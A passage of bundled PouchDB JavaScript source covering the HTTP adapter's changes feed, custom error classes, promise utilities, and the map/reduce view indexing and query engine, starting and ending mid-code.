!('heartbeat' in opts)) { opts.heartbeat = DEFAULT_HEARTBEAT; } var requestTimeout = ('timeout' in opts) ? opts.timeout : ('timeout' in ajaxOpts) ? ajaxOpts.timeout : 30 * 1000; // ensure CHANGES_TIMEOUT_BUFFER applies if ('timeout' in opts && opts.timeout && (requestTimeout - opts.timeout) < CHANGES_TIMEOUT_BUFFER) { requestTimeout = opts.timeout + CHANGES_TIMEOUT_BUFFER; } if ('heartbeat' in opts && opts.heartbeat && (requestTimeout - opts.heartbeat) < CHANGES_TIMEOUT_BUFFER) { requestTimeout = opts.heartbeat + CHANGES_TIMEOUT_BUFFER; } var params = {}; if ('timeout' in opts && opts.timeout) { params.timeout = opts.timeout; } var limit = (typeof opts.limit !== 'undefined') ? opts.limit : false; var returnDocs; if ('return_docs' in opts) { returnDocs = opts.return_docs; } else if ('returnDocs' in opts) { // TODO: Remove 'returnDocs' in favor of 'return_docs' in a future release returnDocs = opts.returnDocs; } else { returnDocs = true; } // var leftToFetch = limit; if (opts.style) { params.style = opts.style; } if (opts.include_docs || opts.filter && typeof opts.filter === 'function') { params.include_docs = true; } if (opts.attachments) { params.attachments = true; } if (opts.continuous) { params.feed = 'longpoll'; } if (opts.conflicts) { params.conflicts = true; } if (opts.descending) { params.descending = true; } if ('heartbeat' in opts) { // If the heartbeat value is false, it disables the default heartbeat if (opts.heartbeat) { params.heartbeat = opts.heartbeat; } } if (opts.filter && typeof opts.filter === 'string') { params.filter = opts.filter; } if (opts.view && typeof opts.view === 'string') { params.filter = '_view'; params.view = opts.view; } // If opts.query_params exists, pass it through to the changes request. // These parameters may be used by the filter on the source database. if (opts.query_params && typeof opts.query_params === 'object') { for (var param_name in opts.query_params) { /* istanbul ignore else */ if (opts.query_params.hasOwnProperty(param_name)) { params[param_name] = opts.query_params[param_name]; } } } var method = 'GET'; var body; if (opts.doc_ids) { // set this automagically for the user; it's annoying that couchdb // requires both a "filter" and a "doc_ids" param. params.filter = '_doc_ids'; method = 'POST'; body = {doc_ids: opts.doc_ids }; } /* istanbul ignore next */ else if (opts.selector) { // set this automagically for the user, similar to above params.filter = '_selector'; method = 'POST'; body = {selector: opts.selector }; } var xhr; var lastFetchedSeq; // Get all the changes starting wtih the one immediately after the // sequence number given by since. var fetch = function (since, callback) { if (opts.aborted) { return; } params.since = since; // "since" can be any kind of json object in Coudant/CouchDB 2.x /* istanbul ignore next */ if (typeof params.since === "object") { params.since = JSON.stringify(params.since); } if (opts.descending) { if (limit) { params.limit = leftToFetch; } } else { params.limit = (!limit || leftToFetch > batchSize) ? batchSize : leftToFetch; } // Set the options for the ajax call var xhrOpts = { method: method, url: genDBUrl(host, '_changes' + paramsToStr(params)), timeout: requestTimeout, body: body }; lastFetchedSeq = since; /* istanbul ignore if */ if (opts.aborted) { return; } // Get the changes setup().then(function () { xhr = ajax$$1(opts, xhrOpts, callback); }).catch(callback); }; // If opts.since exists, get all the changes from the sequence // number given by opts.since. Otherwise, get all the changes // from the sequence number 0. var results = {results: []}; var fetched = function (err, res) { if (opts.aborted) { return; } var raw_results_length = 0; // If the result of the ajax call (res) contains changes (res.results) if (res && res.results) { raw_results_length = res.results.length; results.last_seq = res.last_seq; // For each change var req = {}; req.query = opts.query_params; res.results = res.results.filter(function (c) { leftToFetch--; var ret = filterChange(opts)(c); if (ret) { if (opts.include_docs && opts.attachments && opts.binary) { readAttachmentsAsBlobOrBuffer(c); } if (returnDocs) { results.results.push(c); } opts.onChange(c); } return ret; }); } else if (err) { // In case of an error, stop listening for changes and call // opts.complete opts.aborted = true; opts.complete(err); return; } // The changes feed may have timed out with no results // if so reuse last update sequence if (res && res.last_seq) { lastFetchedSeq = res.last_seq; } var finished = (limit && leftToFetch <= 0) || (res && raw_results_length < batchSize) || (opts.descending); if ((opts.continuous && !(limit && leftToFetch <= 0)) || !finished) { // Queue a call to fetch again with the newest sequence number nextTick(function () { fetch(lastFetchedSeq, fetched); }); } else { // We're done, call the callback opts.complete(null, results); } }; fetch(opts.since || 0, fetched); // Return a method to cancel this method from processing any more return { cancel: function () { opts.aborted = true; if (xhr) { xhr.abort(); } } }; }; // Given a set of document/revision IDs (given by req), tets the subset of // those that do NOT correspond to revisions stored in the database. // See http://wiki.apache.org/couchdb/HttpPostRevsDiff api.revsDiff = adapterFun$$1('revsDiff', function (req, opts, callback) { // If no options were given, set the callback to be the second parameter if (typeof opts === 'function') { callback = opts; opts = {}; } // Get the missing document/revision IDs ajax$$1(opts, { method: 'POST', url: genDBUrl(host, '_revs_diff'), body: req }, callback); }); api._close = function (callback) { callback(); }; api._destroy = function (options, callback) { ajax$$1(options, { url: genDBUrl(host, ''), method: 'DELETE' }, function (err, resp) { if (err && err.status && err.status !== 404) { return callback(err); } callback(null, resp); }); }; } // HttpPouch is a valid adapter. HttpPouch.valid = function () { return true; }; var HttpPouch$1 = function (PouchDB) { PouchDB.adapter('http', HttpPouch, false); PouchDB.adapter('https', HttpPouch, false); }; function QueryParseError(message) { this.status = 400; this.name = 'query_parse_error'; this.message = message; this.error = true; try { Error.captureStackTrace(this, QueryParseError); } catch (e) {} } inherits(QueryParseError, Error); function NotFoundError(message) { this.status = 404; this.name = 'not_found'; this.message = message; this.error = true; try { Error.captureStackTrace(this, NotFoundError); } catch (e) {} } inherits(NotFoundError, Error); function BuiltInError(message) { this.status = 500; this.name = 'invalid_value'; this.message = message; this.error = true; try { Error.captureStackTrace(this, BuiltInError); } catch (e) {} } inherits(BuiltInError, Error); function promisedCallback(promise, callback) { if (callback) { promise.then(function (res) { nextTick(function () { callback(null, res); }); }, function (reason) { nextTick(function () { callback(reason); }); }); } return promise; } function callbackify(fun) { return getArguments(function (args) { var cb = args.pop(); var promise = fun.apply(this, args); if (typeof cb === 'function') { promisedCallback(promise, cb); } return promise; }); } // Promise finally util similar to Q.finally function fin(promise, finalPromiseFactory) { return promise.then(function (res) { return finalPromiseFactory().then(function () { return res; }); }, function (reason) { return finalPromiseFactory().then(function () { throw reason; }); }); } function sequentialize(queue, promiseFactory) { return function () { var args = arguments; var that = this; return queue.add(function () { return promiseFactory.apply(that, args); }); }; } // uniq an array of strings, order not guaranteed // similar to underscore/lodash _.uniq function uniq(arr) { var theSet = new ExportedSet(arr); var result = new Array(theSet.size); var index = -1; theSet.forEach(function (value) { result[++index] = value; }); return result; } function mapToKeysArray(map) { var result = new Array(map.size); var index = -1; map.forEach(function (value, key) { result[++index] = key; }); return result; } function createBuiltInError(name) { var message = 'builtin ' + name + ' function requires map values to be numbers' + ' or number arrays'; return new BuiltInError(message); } function sum(values) { var result = 0; for (var i = 0, len = values.length; i < len; i++) { var num = values[i]; if (typeof num !== 'number') { if (Array.isArray(num)) { // lists of numbers are also allowed, sum them separately result = typeof result === 'number' ? [result] : result; for (var j = 0, jLen = num.length; j < jLen; j++) { var jNum = num[j]; if (typeof jNum !== 'number') { throw createBuiltInError('_sum'); } else if (typeof result[j] === 'undefined') { result.push(jNum); } else { result[j] += jNum; } } } else { // not array/number throw createBuiltInError('_sum'); } } else if (typeof result === 'number') { result += num; } else { // add number to array result[0] += num; } } return result; } var log = guardedConsole.bind(null, 'log'); var isArray = Array.isArray; var toJSON = JSON.parse; function evalFunctionWithEval(func, emit) { return scopeEval( "return (" + func.replace(/;\s*$/, "") + ");", { emit: emit, sum: sum, log: log, isArray: isArray, toJSON: toJSON } ); } /* * Simple task queue to sequentialize actions. Assumes * callbacks will eventually fire (once). */ function TaskQueue$2() { this.promise = new PouchPromise$1(function (fulfill) {fulfill(); }); } TaskQueue$2.prototype.add = function (promiseFactory) { this.promise = this.promise.catch(function () { // just recover }).then(function () { return promiseFactory(); }); return this.promise; }; TaskQueue$2.prototype.finish = function () { return this.promise; }; function stringify(input) { if (!input) { return 'undefined'; // backwards compat for empty reduce } // for backwards compat with mapreduce, functions/strings are stringified // as-is. everything else is JSON-stringified. switch (typeof input) { case 'function': // e.g. a mapreduce map return input.toString(); case 'string': // e.g. a mapreduce built-in _reduce function return input.toString(); default: // e.g. a JSON object in the case of mango queries return JSON.stringify(input); } } /* create a string signature for a view so we can cache it and uniq it */ function createViewSignature(mapFun, reduceFun) { // the "undefined" part is for backwards compatibility return stringify(mapFun) + stringify(reduceFun) + 'undefined'; } function createView(sourceDB, viewName, mapFun, reduceFun, temporary, localDocName) { var viewSignature = createViewSignature(mapFun, reduceFun); var cachedViews; if (!temporary) { // cache this to ensure we don't try to update the same view twice cachedViews = sourceDB._cachedViews = sourceDB._cachedViews || {}; if (cachedViews[viewSignature]) { return cachedViews[viewSignature]; } } var promiseForView = sourceDB.info().then(function (info) { var depDbName = info.db_name + '-mrview-' + (temporary ? 'temp' : stringMd5(viewSignature)); // save the view name in the source db so it can be cleaned up if necessary // (e.g. when the _design doc is deleted, remove all associated view data) function diffFunction(doc) { doc.views = doc.views || {}; var fullViewName = viewName; if (fullViewName.indexOf('/') === -1) { fullViewName = viewName + '/' + viewName; } var depDbs = doc.views[fullViewName] = doc.views[fullViewName] || {}; /* istanbul ignore if */ if (depDbs[depDbName]) { return; // no update necessary } depDbs[depDbName] = true; return doc; } return upsert(sourceDB, '_local/' + localDocName, diffFunction).then(function () { return sourceDB.registerDependentDatabase(depDbName).then(function (res) { var db = res.db; db.auto_compaction = true; var view = { name: depDbName, db: db, sourceDB: sourceDB, adapter: sourceDB.adapter, mapFun: mapFun, reduceFun: reduceFun }; return view.db.get('_local/lastSeq').catch(function (err) { /* istanbul ignore if */ if (err.status !== 404) { throw err; } }).then(function (lastSeqDoc) { view.seq = lastSeqDoc ? lastSeqDoc.seq : 0; if (cachedViews) { view.db.once('destroyed', function () { delete cachedViews[viewSignature]; }); } return view; }); }); }); }); if (cachedViews) { cachedViews[viewSignature] = promiseForView; } return promiseForView; } var persistentQueues = {}; var tempViewQueue = new TaskQueue$2(); var CHANGES_BATCH_SIZE$1 = 50; function parseViewName(name) { // can be either 'ddocname/viewname' or just 'viewname' // (where the ddoc name is the same) return name.indexOf('/') === -1 ? [name, name] : name.split('/'); } function isGenOne(changes) { // only return true if the current change is 1- // and there are no other leafs return changes.length === 1 && /^1-/.test(changes[0].rev); } function emitError(db, e) { try { db.emit('error', e); } catch (err) { guardedConsole('error', 'The user\'s map/reduce function threw an uncaught error.\n' + 'You can debug this error by doing:\n' + 'myDatabase.on(\'error\', function (err) { debugger; });\n' + 'Please double-check your map/reduce function.'); guardedConsole('error', e); } } /** * Returns an "abstract" mapreduce object of the form: * * { * query: queryFun, * viewCleanup: viewCleanupFun * } * * Arguments are: * * localDoc: string * This is for the local doc that gets saved in order to track the * "dependent" DBs and clean them up for viewCleanup. It should be * unique, so that indexer plugins don't collide with each other. * mapper: function (mapFunDef, emit) * Returns a map function based on the mapFunDef, which in the case of * normal map/reduce is just the de-stringified function, but may be * something else, such as an object in the case of pouchdb-find. * reducer: function (reduceFunDef) * Ditto, but for reducing. Modules don't have to support reducing * (e.g. pouchdb-find). * ddocValidator: function (ddoc, viewName) * Throws an error if the ddoc or viewName is not valid. * This could be a way to communicate to the user that the configuration for the * indexer is invalid. */ function createAbstractMapReduce(localDocName, mapper, reducer, ddocValidator) { function tryMap(db, fun, doc) { // emit an event if there was an error thrown by a map function. // putting try/catches in a single function also avoids deoptimizations. try { fun(doc); } catch (e) { emitError(db, e); } } function tryReduce(db, fun, keys, values, rereduce) { // same as above, but returning the result or an error. there are two separate // functions to avoid extra memory allocations since the tryCode() case is used // for custom map functions (common) vs this function, which is only used for // custom reduce functions (rare) try { return {output : fun(keys, values, rereduce)}; } catch (e) { emitError(db, e); return {error: e}; } } function sortByKeyThenValue(x, y) { var keyCompare = collate(x.key, y.key); return keyCompare !== 0 ? keyCompare : collate(x.value, y.value); } function sliceResults(results, limit, skip) { skip = skip || 0; if (typeof limit === 'number') { return results.slice(skip, limit + skip); } else if (skip > 0) { return results.slice(skip); } return results; } function rowToDocId(row) { var val = row.value; // Users can explicitly specify a joined doc _id, or it // defaults to the doc _id that emitted the key/value. var docId = (val && typeof val === 'object' && val._id) || row.id; return docId; } function readAttachmentsAsBlobOrBuffer(res) { res.rows.forEach(function (row) { var atts = row.doc && row.doc._attachments; if (!atts) { return; } Object.keys(atts).forEach(function (filename) { var att = atts[filename]; atts[filename].data = b64ToBluffer(att.data, att.content_type); }); }); } function postprocessAttachments(opts) { return function (res) { if (opts.include_docs && opts.attachments && opts.binary) { readAttachmentsAsBlobOrBuffer(res); } return res; }; } function addHttpParam(paramName, opts, params, asJson) { // add an http param from opts to params, optionally json-encoded var val = opts[paramName]; if (typeof val !== 'undefined') { if (asJson) { val = encodeURIComponent(JSON.stringify(val)); } params.push(paramName + '=' + val); } } function coerceInteger(integerCandidate) { if (typeof integerCandidate !== 'undefined') { var asNumber = Number(integerCandidate); // prevents e.g. '1foo' or '1.1' being coerced to 1 if (!isNaN(asNumber) && asNumber === parseInt(integerCandidate, 10)) { return asNumber; } else { return integerCandidate; } } } function coerceOptions(opts) { opts.group_level = coerceInteger(opts.group_level); opts.limit = coerceInteger(opts.limit); opts.skip = coerceInteger(opts.skip); return opts; } function checkPositiveInteger(number) { if (number) { if (typeof number !== 'number') { return new QueryParseError('Invalid value for integer: "' + number + '"'); } if (number < 0) { return new QueryParseError('Invalid value for positive integer: ' + '"' + number + '"'); } } } function checkQueryParseError(options, fun) { var startkeyName = options.descending ? 'endkey' : 'startkey'; var endkeyName = options.descending ? 'startkey' : 'endkey'; if (typeof options[startkeyName] !== 'undefined' && typeof options[endkeyName] !== 'undefined' && collate(options[startkeyName], options[endkeyName]) > 0) { throw new QueryParseError('No rows can match your key range, ' + 'reverse your start_key and end_key or set {descending : true}'); } else if (fun.reduce && options.reduce !== false) { if (options.include_docs) { throw new QueryParseError('{include_docs:true} is invalid for reduce'); } else if (options.keys && options.keys.length > 1 && !options.group && !options.group_level) { throw new QueryParseError('Multi-key fetches for reduce views must use ' + '{group: true}'); } } ['group_level', 'limit', 'skip'].forEach(function (optionName) { var error = checkPositiveInteger(options[optionName]); if (error) { throw error; } }); } function httpQuery(db, fun, opts) { // List of parameters to add to the PUT request var params = []; var body; var method = 'GET'; // If opts.reduce exists and is defined, then add it to the list // of parameters. // If reduce=false then the results are that of only the map function // not the final result of map and reduce. addHttpParam('reduce', opts, params); addHttpParam('include_docs', opts, params); addHttpParam('attachments', opts, params); addHttpParam('limit', opts, params); addHttpParam('descending', opts, params); addHttpParam('group', opts, params); addHttpParam('group_level', opts, params); addHttpParam('skip', opts, params); addHttpParam('stale', opts, params); addHttpParam('conflicts', opts, params); addHttpParam('startkey', opts, params, true); addHttpParam('start_key', opts, params, true); addHttpParam('endkey', opts, params, true); addHttpParam('end_key', opts, params, true); addHttpParam('inclusive_end', opts, params); addHttpParam('key', opts, params, true); // Format the list of parameters into a valid URI query string params = params.join('&'); params = params === '' ? '' : '?' + params; // If keys are supplied, issue a POST to circumvent GET query string limits // see http://wiki.apache.org/couchdb/HTTP_view_API#Querying_Options if (typeof opts.keys !== 'undefined') { var MAX_URL_LENGTH = 2000; // according to http://stackoverflow.com/a/417184/680742, // the de facto URL length limit is 2000 characters var keysAsString = 'keys=' + encodeURIComponent(JSON.stringify(opts.keys)); if (keysAsString.length + params.length + 1 <= MAX_URL_LENGTH) { // If the keys are short enough, do a GET. we do this to work around // Safari not understanding 304s on POSTs (see pouchdb/pouchdb#1239) params += (params[0] === '?' ? '&' : '?') + keysAsString; } else { method = 'POST'; if (typeof fun === 'string') { body = {keys: opts.keys}; } else { // fun is {map : mapfun}, so append to this fun.keys = opts.keys; } } } // We are referencing a query defined in the design doc if (typeof fun === 'string') { var parts = parseViewName(fun); return db.request({ method: method, url: '_design/' + parts[0] + '/_view/' + parts[1] + params, body: body }).then( /* istanbul ignore next */ function (result) { // fail the entire request if the result contains an error result.rows.forEach(function (row) { if (row.value && row.value.error && row.value.error === "builtin_reduce_error") { throw new Error(row.reason); } }); return result; }) .then(postprocessAttachments(opts)); } // We are using a temporary view, terrible for performance, good for testing body = body || {}; Object.keys(fun).forEach(function (key) { if (Array.isArray(fun[key])) { body[key] = fun[key]; } else { body[key] = fun[key].toString(); } }); return db.request({ method: 'POST', url: '_temp_view' + params, body: body }).then(postprocessAttachments(opts)); } // custom adapters can define their own api._query // and override the default behavior /* istanbul ignore next */ function customQuery(db, fun, opts) { return new PouchPromise$1(function (resolve, reject) { db._query(fun, opts, function (err, res) { if (err) { return reject(err); } resolve(res); }); }); } // custom adapters can define their own api._viewCleanup // and override the default behavior /* istanbul ignore next */ function customViewCleanup(db) { return new PouchPromise$1(function (resolve, reject) { db._viewCleanup(function (err, res) { if (err) { return reject(err); } resolve(res); }); }); } function defaultsTo(value) { return function (reason) { /* istanbul ignore else */ if (reason.status === 404) { return value; } else { throw reason; } }; } // returns a promise for a list of docs to update, based on the input docId. // the order doesn't matter, because post-3.2.0, bulkDocs // is an atomic operation in all three adapters. function getDocsToPersist(docId, view, docIdsToChangesAndEmits) { var metaDocId = '_local/doc_' + docId; var defaultMetaDoc = {_id: metaDocId, keys: []}; var docData = docIdsToChangesAndEmits.get(docId); var indexableKeysToKeyValues = docData[0]; var changes = docData[1]; function getMetaDoc() { if (isGenOne(changes)) { // generation 1, so we can safely assume initial state // for performance reasons (avoids unnecessary GETs) return PouchPromise$1.resolve(defaultMetaDoc); } return view.db.get(metaDocId).catch(defaultsTo(defaultMetaDoc)); } function getKeyValueDocs(metaDoc) { if (!metaDoc.keys.length) { // no keys, no need for a lookup return PouchPromise$1.resolve({rows: []}); } return view.db.allDocs({ keys: metaDoc.keys, include_docs: true }); } function processKeyValueDocs(metaDoc, kvDocsRes) { var kvDocs = []; var oldKeys = new ExportedSet(); for (var i = 0, len = kvDocsRes.rows.length; i < len; i++) { var row = kvDocsRes.rows[i]; var doc = row.doc; if (!doc) { // deleted continue; } kvDocs.push(doc); oldKeys.add(doc._id); doc._deleted = !indexableKeysToKeyValues.has(doc._id); if (!doc._deleted) { var keyValue = indexableKeysToKeyValues.get(doc._id); if ('value' in keyValue) { doc.value = keyValue.value; } } } var newKeys = mapToKeysArray(indexableKeysToKeyValues); newKeys.forEach(function (key) { if (!oldKeys.has(key)) { // new doc var kvDoc = { _id: key }; var keyValue = indexableKeysToKeyValues.get(key); if ('value' in keyValue) { kvDoc.value = keyValue.value; } kvDocs.push(kvDoc); } }); metaDoc.keys = uniq(newKeys.concat(metaDoc.keys)); kvDocs.push(metaDoc); return kvDocs; } return getMetaDoc().then(function (metaDoc) { return getKeyValueDocs(metaDoc).then(function (kvDocsRes) { return processKeyValueDocs(metaDoc, kvDocsRes); }); }); } // updates all emitted key/value docs and metaDocs in the mrview database // for the given batch of documents from the source database function saveKeyValues(view, docIdsToChangesAndEmits, seq) { var seqDocId = '_local/lastSeq'; return view.db.get(seqDocId) .catch(defaultsTo({_id: seqDocId, seq: 0})) .then(function (lastSeqDoc) { var docIds = mapToKeysArray(docIdsToChangesAndEmits); return PouchPromise$1.all(docIds.map(function (docId) { return getDocsToPersist(docId, view, docIdsToChangesAndEmits); })).then(function (listOfDocsToPersist) { var docsToPersist = flatten(listOfDocsToPersist); lastSeqDoc.seq = seq; docsToPersist.push(lastSeqDoc); // write all docs in a single operation, update the seq once return view.db.bulkDocs({docs : docsToPersist}); }); }); } function getQueue(view) { var viewName = typeof view === 'string' ? view : view.name; var queue = persistentQueues[viewName]; if (!queue) { queue = persistentQueues[viewName] = new TaskQueue$2(); } return queue; } function updateView(view) { return sequentialize(getQueue(view), function () { return updateViewInQueue(view); })(); } function updateViewInQueue(view) { // bind the emit function once var mapResults; var doc; function emit(key, value) { var output = {id: doc._id, key: normalizeKey(key)}; // Don't explicitly store the value unless it's defined and non-null. // This saves on storage space, because often people don't use it. if (typeof value !== 'undefined' && value !== null) { output.value = normalizeKey(value); } mapResults.push(output); } var mapFun = mapper(view.mapFun, emit); var currentSeq = view.seq || 0; function processChange(docIdsToChangesAndEmits, seq) { return function () { return saveKeyValues(view, docIdsToChangesAndEmits, seq); }; } var queue = new TaskQueue$2(); function processNextBatch() { return view.sourceDB.changes({ conflicts: true, include_docs: true, style: 'all_docs', since: currentSeq, limit: CHANGES_BATCH_SIZE$1 }).then(processBatch); } function processBatch(response) { var results = response.results; if (!results.length) { return; } var docIdsToChangesAndEmits = createDocIdsToChangesAndEmits(results); queue.add(processChange(docIdsToChangesAndEmits, currentSeq)); if (results.length < CHANGES_BATCH_SIZE$1) { return; } return processNextBatch(); } function createDocIdsToChangesAndEmits(results) { var docIdsToChangesAndEmits = new ExportedMap(); for (var i = 0, len = results.length; i < len; i++) { var change = results[i]; if (change.doc._id[0] !== '_') { mapResults = []; doc = change.doc; if (!doc._deleted) { tryMap(view.sourceDB, mapFun, doc); } mapResults.sort(sortByKeyThenValue); var indexableKeysToKeyValues = createIndexableKeysToKeyValues(mapResults); docIdsToChangesAndEmits.set(change.doc._id, [ indexableKeysToKeyValues, change.changes ]); } currentSeq = change.seq; } return docIdsToChangesAndEmits; } function createIndexableKeysToKeyValues(mapResults) { var indexableKeysToKeyValues = new ExportedMap(); var lastKey; for (var i = 0, len = mapResults.length; i < len; i++) { var emittedKeyValue = mapResults[i]; var complexKey = [emittedKeyValue.key, emittedKeyValue.id]; if (i > 0 && collate(emittedKeyValue.key, lastKey) === 0) { complexKey.push(i); // dup key+id, so make it unique } indexableKeysToKeyValues.set(toIndexableString(complexKey), emittedKeyValue); lastKey = emittedKeyValue.key; } return indexableKeysToKeyValues; } return processNextBatch().then(function () { return queue.finish(); }).then(function () { view.seq = currentSeq; }); } function reduceView(view, results, options) { if (options.group_level === 0) { delete options.group_level; } var shouldGroup = options.group || options.group_level; var reduceFun = reducer(view.reduceFun); var groups = []; var lvl = isNaN(options.group_level) ? Number.POSITIVE_INFINITY : options.group_level; results.forEach(function (e) { var last = groups[groups.length - 1]; var groupKey = shouldGroup ? e.key : null; // only set group_level for array keys if (shouldGroup && Array.isArray(groupKey)) { groupKey = groupKey.slice(0, lvl); } if (last && collate(last.groupKey, groupKey) === 0) { last.keys.push([e.key, e.id]); last.values.push(e.value); return; } groups.push({ keys: [[e.key, e.id]], values: [e.value], groupKey: groupKey }); }); results = []; for (var i = 0, len = groups.length; i < len; i++) { var e = groups[i]; var reduceTry = tryReduce(view.sourceDB, reduceFun, e.keys, e.values, false); if (reduceTry.error && reduceTry.error instanceof BuiltInError) { // CouchDB returns an error if a built-in errors out throw reduceTry.error; } results.push({ // CouchDB just sets the value to null if a non-built-in errors out value: reduceTry.error ? null : reduceTry.output, key: e.groupKey }); } // no total_rows/offset when reducing return {rows: sliceResults(results, options.limit, options.skip)}; } function queryView(view, opts) { return sequentialize(getQueue(view), function () { return queryViewInQueue(view, opts); })(); } function queryViewInQueue(view, opts) { var totalRows; var shouldReduce = view.reduceFun && opts.reduce !== false; var skip = opts.skip || 0; if (typeof opts.keys !== 'undefined' && !opts.keys.length) { // equivalent query opts.limit = 0; delete opts.keys; } function fetchFromView(viewOpts) { viewOpts.include_docs = true; return view.db.allDocs(viewOpts).then(function (res) { totalRows = res.total_rows; return res.rows.map(function (result) { // implicit migration - in older versions of PouchDB, // we explicitly stored the doc as {id: ..., key: ..., value: ...} // this is tested in a migration test /* istanbul ignore next */ if ('value' in result.doc && typeof result.doc.value === 'object' && result.doc.value !== null) { var keys = Object.keys(result.doc.value).sort(); // this detection method is not perfect, but it's unlikely the user // emitted a value which was an object with these 3 exact keys var expectedKeys = ['id', 'key', 'value']; if (!(keys < expectedKeys || keys > expectedKeys)) { return result.doc.value; } } var parsedKeyAndDocId = parseIndexableString(result.doc._id); return { key: parsedKeyAndDocId[0], id: parsedKeyAndDocId[1], value: ('value' in result.doc ? result.doc.value : null) }; }); }); } function onMapResultsReady(rows) { var finalResults; if (shouldReduce) { finalResults = reduceView(view, rows, opts); } else { finalResults = { total_rows: totalRows, offset: skip, rows: rows }; } if (opts.include_docs) { var docIds = uniq(rows.map(rowToDocId)); return view.sourceDB.allDocs({ keys: docIds, include_docs: true, conflicts: opts.conflicts, attachments: opts.attachments, binary: opts.binary }).then(function (allDocsRes) { var docIdsToDocs = new ExportedMap(); allDocsRes.rows.forEach(function (row) { docIdsToDocs.set(row.id, row.doc); }); rows.forEach(function (row) { var docId = rowToDocId(row); var doc = docIdsToDocs.get(docId); if (doc) { row.doc = doc; } }); return finalResults; }); } else { return finalResults; } } if (typeof opts.keys !== 'undefined') { var keys = opts.keys; var fetchPromises = keys.map(function (key) { var viewOpts = { startkey : toIndexableString([key]), endkey : toIndexableString([key, {}]) }; return fetchFromView(viewOpts); }); return PouchPromise$1.all(fetchPromises).then(flatten).then(onMapResultsReady); } else { // normal query, no 'keys' var viewOpts = { descending : opts.descending }; var startkey; var endkey; if ('start_key' in opts) { startkey = opts.start_key; } if ('startkey' in opts) { startkey = opts.startkey; } if ('end_key' in opts) { endkey = opts.end_key; } if ('endkey' in opts) { endkey = opts.endkey; } if (typeof startkey !== 'undefined') { viewOpts.startkey = opts.descending ? toIndexableString([startkey, {}]) : toIndexableString([startkey]); } if (typeof endkey !== 'undefined') { var inclusiveEnd = opts.inclusive_end !== false; if (opts.descending) { inclusiveEnd = !inclusiveEnd; } viewOpts.endkey = toIndexableString( inclusiveEnd ? [endkey, {}] : [endkey]); } if (typeof opts.key !== 'undefined') { var keyStart = toIndexableString([opts.key]); var keyEnd = toIndexableString([opts.key, {}]); if (viewOpts.descending) { viewOpts.endkey = keyStart; viewOpts.startkey = keyEnd; } else { viewOpts.startkey = keyStart; viewOpts.endkey = keyEnd; } } if (!shouldReduce) { if (typeof opts.limit === 'number') { viewOpts.limit = opts.limit; } viewOpts.skip = skip; } return fetchFromView(viewOpts).then(onMapResultsReady); } } function httpViewCleanup(db) { return db.request({ method: 'POST', url: '_view_cleanup' }); } function localViewCleanup(db) { return db.get('_local/' + localDocName).then(function (metaDoc) { var docsToViews = new ExportedMap(); Object.keys(metaDoc.views).forEach(function (fullViewName) { var parts = parseViewName(fullViewName); var designDocName = '_design/' + parts[0]; var viewName = parts[1]; var views = docsToViews.get(designDocName); if (!views) { views = new ExportedSet(); docsToViews.set(designDocName, views); } views.add(viewName); }); var opts = { keys : mapToKeysArray(docsToViews), include_docs : true }; return db.allDocs(opts).then(function (res) { var viewsToStatus = {}; res.rows.forEach(function (row) { var ddocName = row.key.substring(8); // cuts off '_design/' docsToViews.get(row.key).forEach(function (viewName) { var fullViewName = ddocName + '/' + viewName; /* istanbul ignore if */ if (!metaDoc.views[fullViewName]) { // new format, without slashes, to support PouchDB 2.2.0 // migration test in pouchdb's browser.migration.js verifies this fullViewName = viewName; } var viewDBNames = Object.keys(metaDoc.views[fullViewName]); // design doc deleted, or view function nonexistent var statusIsGood = row.doc && row.doc.views && row.doc.views[viewName]; viewDBNames.forEach(function (viewDBName) { viewsToStatus[viewDBName] = viewsToStatus[viewDBName] || statusIsGood; }); }); }); var dbsToDelete = Object.keys(viewsToStatus).filter( function (viewDBName) { return !viewsToStatus[viewDBName]; }); var destroyPromises = dbsToDelete.map(function (viewDBName) { return sequentialize(getQueue(viewDBName), function () { return new db.constructor(viewDBName, db.__opts).destroy(); })(); }); return PouchPromise$1.all(destroyPromises).then(function () { return {ok: true}; }); }); }, defaultsTo({ok: true})); } function queryPromised(db, fun, opts) { /* istanbul ignore next */ if (typeof db._query === 'function') { return customQuery(db, fun, opts); } if (isRemote(db)) { return httpQuery(db, fun, opts); } if (typeof fun !== 'string') { // temp_view checkQueryParseError(opts, fun); tempViewQueue.add(function () { var createViewPromise = createView( /* sourceDB */ db, /* viewName */ 'temp_view/temp_view', /* mapFun */ fun.map, /* reduceFun */ fun.reduce, /* temporary */ true, /* localDocName */ localDocName); return createViewPromise.then(function (view) { return fin(updateView(view).then(function () { return queryView(view, opts); }), function () { return view.db.destroy(); }); }); }); return tempViewQueue.finish(); } else { // persistent view var fullViewName = fun; var parts = parseViewName(fullViewName); var designDocName = parts[0]; var viewName = parts[1]; return db.get('_design/' + designDocName).then(function (doc) { var fun = doc.views && doc.views[viewName]; if (!fun) { // basic validator; it's assumed that every subclass would want this throw new NotFoundError('ddoc ' + doc._id + ' has no view named ' + viewName); } ddocValidator(doc, viewName); checkQueryParseError(opts, fun); var createViewPromise = createView( /* sourceDB */ db, /* viewName */ fullViewName, /* mapFun */ fun.map, /* reduceFun */ fun.reduce, /* temporary */ false, /* localDocName */ localDocName); return createViewPromise.then(function (view) { if (opts.stale === 'ok' || opts.stale === 'update_after') { if (opts.stale === 'update_after') { nextTick(function () { updateView(view); }); } return queryView(view, opts); } else { // stale not ok return updateView(view).then(function () { return queryView(view, opts); }); } }); }); } } function abstractQuery(fun, opts, callback) { var db = this; if (typeof opts === 'function') { callback = opts; opts = {}; } opts = opts ? coerceOptions(opts) : {}; if (typeof fun === 'function') { fun = {map : fun}; } var promise = PouchPromise$1.resolve().then(function () { return queryPromised(db, fun, opts); }); promisedCallback(promise, callback); return promise; } var abstractViewCleanup = callbackify(function () { var db = this; /* istanbul ignore next */ if (typeof db._viewCleanup === 'function') { return customViewCleanup(db); } if (isRemote(db)) { return httpViewCleanup(db); } return localViewCleanup(db); }); return { query: abstractQuery, viewCleanup: abstractViewCleanup }; } var builtInReduce = { _sum: function (keys, values) { return sum(values); }, _count: function (keys, values) { return values.length; }, _stats: function (keys, values) { // no need to implement rereduce=true, because Pouch // will never call it function sumsqr(values) { var _sumsqr = 0; for (var i = 0, len = values.length; i < len; i++) { var num = values[i]; _sumsqr += (num * num); } return _sumsqr; } return { sum : sum(values), min : Math.min.apply(null, values), max : Math.max.apply(null, values), count : values.length, sumsqr : sumsqr(values) }; } }; function getBuiltIn(reduceFunString) { if (/^_sum/.test(reduceFunString)) { return builtInReduce._sum; } else if (/^_count/.test(reduceFunString)) { return 